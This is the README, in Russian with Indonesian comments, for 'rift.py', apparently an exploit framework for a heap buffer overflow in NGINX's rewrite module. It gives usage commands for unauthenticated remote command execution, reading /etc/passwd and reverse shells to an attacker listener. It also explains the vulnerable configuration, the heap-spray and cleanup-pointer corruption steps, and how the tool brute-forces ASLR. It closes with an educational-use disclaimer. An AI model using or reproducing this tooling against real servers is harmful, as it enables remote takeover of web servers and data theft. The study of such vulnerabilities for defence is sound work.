
В NGINX, а именно в модуле ngx_http_rewrite_module, обнаружена уязвимость. Неаутентифицированный злоумышленник может воспользоваться этой уязвимостью, отправляя специально сформированные HTTP-запросы при определённых конфигурациях rewrite. Это может привести к переполнению буфера в куче в рабочем процессе NGINX, что может привести к произвольному выполнению кода.
Автор: Michael Sanji Winaya Prawiradibrata
ИИ-соавтор: Varanus — мой друг
Фреймворк эксплойта heap buffer overflow, нацеленный на
ngx_http_rewrite_moduleNGINX.
Один инструмент для разведки и эксплуатации. Ноль внешних зависимостей.
| Файл | Описание |
|---|---|
rift.py | Основной инструмент. Объединяет recon + exploit в одном скрипте (1026 строк). |
README.md | Эта документация. |
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon
# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only
При использовании --shell скрипт автоматически:
--shell-type--lportnc -lvnp), запасной вариант — Python listenerЕсли адрес по умолчанию не сработал, скрипт автоматически сдвигает heap base на ±5 шагов × 0x10000 в поисках подходящего адреса. Ручная настройка не нужна.
4 типа shell payload — python, bash, nc, php. Выбирайте тот, который доступен на цели.
--recon выполняет 5 фаз:
--output json для интеграции с другими инструментами или автоматического парсинга.
Цель эксплойта — NGINX с конфигурацией rewrite + set, как показано ниже:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
В результате: выделенный буфер слишком мал, и URI escaping (3× расширение) приводит к переполнению.
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")
rift.py)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto для автоматического подбора ASLR--verbose, чтобы увидеть детали по каждой попыткеsudo ufw allow 4444--lhost — убедитесь, что локальный IP указан верно--shell-type bash или --shell-type ncСоздано исключительно для образовательных целей и авторизованного тестирования безопасности.
Использование против систем без разрешения незаконно.
© 2026 Michael Sanji Winaya Prawiradibrata
ИИ-соавтор: Varanus
| Флаг | Назначение |
|---|
--recon | Полная разведка. Fingerprint → info leak → endpoint test → worker count → strategy. |
--auto | Автоматические recon + exploit. То же, что --recon, затем запуск эксплойта. |
--check-only | Быстрая проверка. Определение NGINX, версии, endpoint /api/. |
--cmd "command" | Выполнение одной команды через system(). |
--shell | Reverse shell — автоматически открывает listener, отправляет payload, принимает соединение. |
| Флаг | По умолчанию | Назначение |
|---|
--port | 80 | Порт цели |
--lhost | — | Локальный IP для reverse shell (обязателен при использовании --shell) |
--lport | 4444 | Локальный порт для listener |
--shell-type | python | Тип payload reverse shell: python, bash, nc, php |
--heap-base | 0x555555659000 | Базовый адрес heap (переопределение для обхода ASLR) |
--libc-base | 0x7ffff77ba000 | Базовый адрес libc |
--tries | 10 | Попыток на каждый адрес-кандидат |
--verbose / -v | — | Детальный вывод по каждой попытке |
| Флаг | Назначение |
|---|
--fingerprint | Определение версии NGINX, endpoint, rewrite module |
--leak | Проверка утечки информации (адреса памяти на странице ошибки, тайминги) |
--test-endpoint | Тест поведения endpoint с различными payload |
--endpoint | Путь endpoint для тестирования (по умолчанию: /api/) |
--generate-exploit | Генерация отдельного скрипта эксплойта с адресом цели |
--output json | Вывод JSON (machine-readable) вместе с выводом в терминал |
| Константа | По умолчанию | Значение |
|---|
BODY_LEN | 4000 | Размер тела spray (в байтах) |
N_SPRAY | 20 | Количество POST-запросов на попытку |
LIBC_SYSTEM_OFFSETS | 7 записей | Смещения system() для различных дистрибутивов |
PREREAD_HEAP_OFFSETS | 19 записей | Кандидаты смещений heap |
DEFAULT_HEAP_BASE | 0x555555659000 | Базовый адрес heap (ASLR выкл.) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Базовый адрес libc (ASLR выкл.) |